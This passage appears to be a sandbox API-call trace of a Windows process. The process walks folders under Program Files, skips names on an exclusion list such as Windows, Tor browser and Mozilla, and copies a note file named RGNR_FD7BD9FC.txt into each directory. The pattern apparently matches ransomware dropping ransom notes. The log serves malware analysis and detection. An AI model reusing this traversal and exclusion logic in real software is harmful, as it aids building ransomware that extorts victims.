ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0079.438] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.438] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.438] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.438] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.438] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2=".") returned 1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2="..") returned 1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2="Windows") returned -1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2="Windows.old") returned -1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2="Tor browser") returned -1 [0079.438] lstrcmpiW (lpString1="AS OLEDB", lpString2="Internet Explorer") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="Google") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="Opera") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="Opera Software") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="Mozilla") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="Mozilla Firefox") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="$Recycle.Bin") returned 1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="ProgramData") returned -1 [0079.439] lstrcmpiW (lpString1="AS OLEDB", lpString2="All Users") returned 1 [0079.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x34 [0079.439] lstrcpyW (in: lpString1=0x1ecbd2, lpString2="AS OLEDB" | out: lpString1="AS OLEDB") returned="AS OLEDB" [0079.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0079.439] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0079.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RGNR_FD7BD9FC.txt" [0079.439] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*" [0079.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3d [0079.441] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.441] lstrcpyW (in: lpString1=0x1ebcf8, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0079.441] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.441] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.441] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.441] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.441] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0079.441] lstrcmpiW (lpString1="10", lpString2=".") returned 1 [0079.441] lstrcmpiW (lpString1="10", lpString2="..") returned 1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Windows") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Windows.old") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Tor browser") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Internet Explorer") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Google") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Opera") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Opera Software") returned -1 [0079.441] lstrcmpiW (lpString1="10", lpString2="Mozilla") returned -1 [0079.442] lstrcmpiW (lpString1="10", lpString2="Mozilla Firefox") returned -1 [0079.442] lstrcmpiW (lpString1="10", lpString2="$Recycle.Bin") returned 1 [0079.442] lstrcmpiW (lpString1="10", lpString2="ProgramData") returned -1 [0079.442] lstrcmpiW (lpString1="10", lpString2="All Users") returned -1 [0079.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3d [0079.442] lstrcpyW (in: lpString1=0x1ec10c, lpString2="10" | out: lpString1="10") returned="10" [0079.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0079.442] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0079.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RGNR_FD7BD9FC.txt" [0079.442] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*" [0079.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.446] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.446] lstrcpyW (in: lpString1=0x1eb226, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0079.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.446] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.446] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2=".") returned 1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="..") returned 1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Windows") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Windows.old") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Tor browser") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Internet Explorer") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Google") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Opera") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Opera Software") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Mozilla") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="Mozilla Firefox") returned -1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="$Recycle.Bin") returned 1 [0079.446] lstrcmpiW (lpString1="Cartridges", lpString2="ProgramData") returned -1 [0079.447] lstrcmpiW (lpString1="Cartridges", lpString2="All Users") returned 1 [0079.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.447] lstrcpyW (in: lpString1=0x1eb63a, lpString2="Cartridges" | out: lpString1="Cartridges") returned="Cartridges" [0079.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0079.447] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0079.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RGNR_FD7BD9FC.txt" [0079.447] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.451] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*" [0079.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.451] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.451] lstrcpyW (in: lpString1=0x1ea764, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.451] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="as80.xsl", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="as80.xsl", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="as90.xsl", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="as90.xsl", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="Informix.xsl", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="Informix.xsl", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="msjet.xsl", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="msjet.xsl", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.451] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0079.451] lstrcmpiW (lpString1="sql2000.xsl", lpString2=".") returned 1 [0079.451] lstrcmpiW (lpString1="sql2000.xsl", lpString2="..") returned 1 [0079.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0079.452] lstrcmpiW (lpString1="sql70.xsl", lpString2=".") returned 1 [0079.452] lstrcmpiW (lpString1="sql70.xsl", lpString2="..") returned 1 [0079.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0079.452] lstrcmpiW (lpString1="sql90.xsl", lpString2=".") returned 1 [0079.452] lstrcmpiW (lpString1="sql90.xsl", lpString2="..") returned 1 [0079.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0079.452] lstrcmpiW (lpString1="Sybase.xsl", lpString2=".") returned 1 [0079.452] lstrcmpiW (lpString1="Sybase.xsl", lpString2="..") returned 1 [0079.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0079.452] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, 